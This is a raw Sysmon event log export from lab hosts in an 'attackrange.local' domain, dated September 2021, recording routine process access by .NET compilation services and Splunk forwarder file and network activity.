14:45:17.045{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7D-613B-360A-00000000F001}1372C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.045{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7D-613B-360A-00000000F001}1372C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.005{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7C-613B-350A-00000000F001}5816C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.995{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7C-613B-350A-00000000F001}5816C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.995{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7C-613B-350A-00000000F001}5816C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014001Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:18.935{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4596A6F7C8E783D30BD321ED184835D4,SHA256=A3DC67D6FF933B480C28A724058FF87C2C9D0AC648E04015192684CF7E58CF2D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.968{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7E-613B-470A-00000000F001}3344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.965{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7E-613B-470A-00000000F001}3344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.965{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7E-613B-470A-00000000F001}3344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.908{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7E-613B-460A-00000000F001}6616C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.898{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7E-613B-460A-00000000F001}6616C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.898{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7E-613B-460A-00000000F001}6616C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.628{7BD73061-6F7E-613B-410A-00000000F001}54644164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.608{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7E-613B-450A-00000000F001}6636C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.538{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F1ED529AA7E86C4C84A52B5752100050,SHA256=0EC21FAFD183C21B94017D93ACBAE38318CB97BD979ECE15568A3B59BBD8B316,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014000Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:17.546{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50127-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000045273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.528{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7E-613B-450A-00000000F001}6636C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.528{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7E-613B-450A-00000000F001}6636C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.498{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C9A847B6C5549C6D9E68E3224ECEB358,SHA256=8E8EE6E19487CEC46A391141C21567384037E4524A103AB899DD9294DB9B4A17,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.478{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7E-613B-440A-00000000F001}6192C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.448{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7E-613B-440A-00000000F001}6192C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.448{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7E-613B-440A-00000000F001}6192C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.438{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F7E-613B-410A-00000000F001}5464C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.438{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.438{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.438{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 